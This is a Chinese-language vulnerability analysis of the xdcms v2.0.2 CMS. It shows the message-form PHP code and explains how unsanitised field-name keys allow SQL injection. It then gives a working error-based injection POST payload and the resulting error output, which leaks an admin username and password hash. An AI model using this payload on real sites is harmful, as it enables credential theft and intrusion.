xdcms v2.0.2 注入0day漏洞源码分析 |

在留言的地方

lists.php文件

<?php

 

class lists extends db{

 

 

 

public function init(){

 

$input=base::load_class(‘input’);

 

$formid=isset($_GET[‘formid’])?intval($_GET[‘formid’]):0;

 

$form_arr=base::load_cache(“cache_form”,”_form”);

 

$form=get_array($form_arr,’id’,$formid,0);

 

 

 

$field=base::load_cache(“cache_form_”.$form[0][‘form_table’],”_field”);

 

$fields=””;

 

if(is_array($field)){

 

foreach($field as $value){

 

$fields.=”<tr>n”;

 

$fields.=”<td align=”right”>”.$value[‘name’].”：</td>n”;

 

$fields.=”<td>”.$input->$value[‘formtype’]($value[‘field’],”,$value[‘width’],$value[‘height’],$value[‘initial’]).” “.$value[‘explain’].”</td>n”;

 

$fields.=”</tr>n”;

 

}

 

 

 

//是否显示验证码

 

if($form[‘0’][‘is_code’]==1){

 

$fields.=”<tr>n”;

 

$fields.=”<td align=”right”>验证码：</td>n”;

 

$fields.=”<td><input type=”text” name=”verifycode” id=”verifycode” /><img src=”adminerifycode.php” border=”0″ alt=”验证码,看不清楚?请点击刷新验证码” onClick=”this.src=this.src+’?’+Math.random();”/></td>n”;

 

$fields.=”</tr>n”;

 

}

 

}

 

 

 

assign(“form”,$form[0]);

 

assign(“fields”,$fields);

 

assign(‘menu’,get_menu(0,1));

 

template(“form_list”);

 

}

 

 

 

public function add_save(){ //保存的时候出现问题,From hi.baidu.com/w5r2

 

$formid=safe_html($_GET[‘formid’]);

 

$form_arr=base::load_cache(“cache_form”,”_form”);

 

$form=get_array($form_arr,’id’,$formid,0);

 

$fields=$_POST[‘fields’];

 

$verifycode=$_POST[‘verifycode’];

 

 

 

//验证码

 

if($form[‘0’][‘is_code’]==1 && $verifycode!=$_SESSION[‘code’]){

 

showmsg(C(‘verifycode_error’),’-1′);

 

}

 

 

 

if(empty($fields[‘title’])||empty($formid)){

 

showmsg(C(‘material_not_complete’),’-1′);

 

}

 

 

 

$form=formtable($formid);

 

if(empty($form)){

 

showmsg(C(‘error’),’-1′);

 

}

 

 

 

$table=$this->mysql->show_table(); //判断数据表是否存在

 

if(!in_array(DB_PRE.$form,$table)){

 

showmsg(C(‘table_not_exist’),’-1′);

 

}

 

 

 

//添加附加表

 

$sql_fields=’`inputtime`’;

 

$sql_value=datetime();

 

$send_text=’留言内容：<br>’;

 

 

 

foreach($fields as $key=>$value){

 

$sql_fields.=”,`”.$key.”`”;//看见了吧,就是这个地方 From hi.baidu.com/w5r2

 

if(is_array($value)){

 

$value_arr=”;

 

foreach($value as $k=>$v){

 

$value_arr.=$v.’,’;

 

}

 

$value=$value_arr;

 

}

 

$sql_value.=”,””.safe_replace(safe_html($value)).”””;

 

$send_text.=safe_replace(safe_html($value)).”<br>”;

 

}

 

 

 

$this->mysql->query(“insert into “.DB_PRE.$form.”({$sql_fields}) values ({$sql_value})”); //这个地址存在注入问题 From www.admin163.net

 

$rs=$this->mysql->get_one(“select * from “.DB_PRE.”form where id=”.$formid);

 

if($rs[‘is_email’]==1){

 

sendmail(‘有人给您留言了！’,$send_text);

 

}

 

showmsg(C(‘add_success’),’-1′);

 

}

 

}

 

?>

 

 

现在上利用代码看看：

http://127.0.0.1/xdcms_v2.0.2/index.php?m=form&c=lists&formid=7

 

 

POST数据

 

fields%5Btitle%5D=1

 

&fields%5B

 

ooxx`) values(1,1, (select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20concat(0x6F756F757E,username,0x2D,password,0x7E31)%20FROM%20c_admin%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a))#]=22

 

&fields%5Baddress%5D=4

 

&fields%5Bcontent%5D=55555

 

&verifycode=9d53

 

&submit=+%CC%E1+%BD%BB+

操作数据库失败Duplicate entry ‘ouou~admin-5a0408a553574230cd46a508b03af127~11’ for key ‘group_key’

 

sql:insert into c_message(`inputtime`,`title`,`ooxx`) values(1,1, (select 1 from(select count(*),concat((select (select (SELECT concat(0x6F756F757E,username,0x2D,password,0x7E31) FROM c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a))#`,`address`,`content`) values(1351247382,”1″,”22″,”4″,”55555″)

 

 

ok.